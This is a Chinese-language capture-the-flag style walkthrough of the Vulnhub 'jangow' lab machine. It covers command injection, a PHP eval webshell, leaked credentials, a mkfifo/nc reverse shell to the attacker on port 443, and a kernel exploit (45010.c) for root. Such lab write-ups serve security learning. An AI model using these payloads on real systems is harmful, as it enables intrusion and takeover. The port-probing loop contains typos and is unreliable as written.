Vulnhub-jangow-靶机复现完整过程
注意!
使用VMware可能获取不到IP,解决方案参考连接:
https://blog.csdn.net/qq_41918771/article/details/103636890
一、环境搭建
kali的IP地址:192.168.200.14
jangow靶机的IP地址:未知
二、信息收集
1.存活主机
netdiscover -r 192.168.200.0/24
可知目标IP 地址为 192.168.200.18
2.开放端口
nmap -A -p 1-65535 192.168.200.18
nmap -p 1-65535 -A -sV 192.168.200.18
80端口和21端口 开放
访问80端口
依次查看不同页面
buscar这个页面有问题,什么都不显示
buscar= 这算是缺少参数,尝试用命令执行,可以看到命令被成功执行
三、反弹shell
直接利用kali进行端口监听,反弹shell
bash连不上
nc 也是不行
常规的反弹shell方法都被限制了
用一句话木马写入,获取shell的方式反弹
http://192.168.200.18/site/busque.php?buscar=echo '<?php @eval($_POST['666']); ?>' >> shell.php
查看含有一句话木马的文件是否被写入到目标服务器
成功写入
连接蚁剑
成功连接
在/var/www/html/site/wordpress/目录发现config.php文件
账户名:desafio02
密码:abygurl69
数据库名:desafio02
除此之外,/var/www/html/.backup目录下
账户名:jangow01
密码:abygurl69
数据库:jangow01
起初,在端口扫描时,发现21的ftp端口开放可以利用,22的ssh端口没有开放,使用这两个用户名和密码尝试连接一下ftp
desafio02账户不行
jangow01账户连接成功,有个html的目录
经过查看,发现回到了主页部分
还查看到user.txt下的文件,显示内容如下
已知开放端口,3306端口开放,但是寻找不到数据库的账号和密码
netstat -anltp
查看靶机支持的反弹shell的方法
whereis nc bash python php exec lua perl
首先还是现在kali上进行反弹shell,经过刚才的出尝试一般的nc是是用不了的,各种反弹Shell基本无法成功
nc的指令也被限制了一部分
可能是防火墙做了端口的限制;
这里做个验证,在前面的信息收集中,靶机开启了22端口但是我们从外部没有扫描到;
可以通过查看ssh的配置文件看看是否修改了端口;
看到配置文的端口还是22端口,确定是防火墙做了一些限制
后发现443端口能用(一般的服务器做端口限制不会限制80和443),当然也可以用脚本探测,先在 kali 上把 1-65535 这所有端口绑定某个端口上:
sudo iptables -A PREROUTING -t nat -p tcp --dport 1:65535 -j REDIRECT --to-port 1234
然后监听 1234:nc -lvvp 1234
在靶机上简单写一个脚本探测:
for i in{1..65535};
do
time 1 nc -vz 192.168.200.14 $i && echo "&i open" >> out.txt || echo "$i closed" >> closed >> out.txt
done
运行
探测出来 443 端口。那就写一个反弹 shell:
<?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.200.14 443 >/tmp/f");?>
成功反弹
kali开启监听(前面做了端口绑定,那直接监听 1234 即可,也可以443端口),并且访问反弹shell的php文件:
(不行就多刷新几次)
使用交互式shell、
python3 -c 'import pty;pty.spawn("/bin/bash")'
测试之前获取的两个账户
账户名:jangow01
密码:abygurl69
账户名:desafio02
密码:abygurl69
还是只能登陆jangow01账户
四、提权
查看系统版本
(www-data:/bin/sh) $ lsb_release -a
/bin/sh: 1: cd: can't cd to /bin/sh
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 16.04.1 LTS
Release: 16.04
Codename: xenial
/bin/sh: 2: Syntax error: ";" unexpected
查看系统版本,看可利用的漏洞:
**靶机环境是ubuntu 4.4.0-31,使用 searchsploit 看看有没有什么可利用的漏洞(**内核版本4.4 Ubuntu版本为16.04.1)
searchsploit ubuntu 4.4.0-31
+
将45010.c下载到本地
查看
赋一下权限(一开始我用的 jangow01 用户做的,发现无法赋权,后来试了下 www-data 可以):
先 gcc 运行一下45010.c文件
会产生一个a.out的文件,然后运行它,就会得到root权限,查看flag
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。 如若内容造成侵权/违法违规/事实不符,请联系我的编程经验分享网邮箱:veading@qq.com进行投诉反馈,一经查实,立即删除!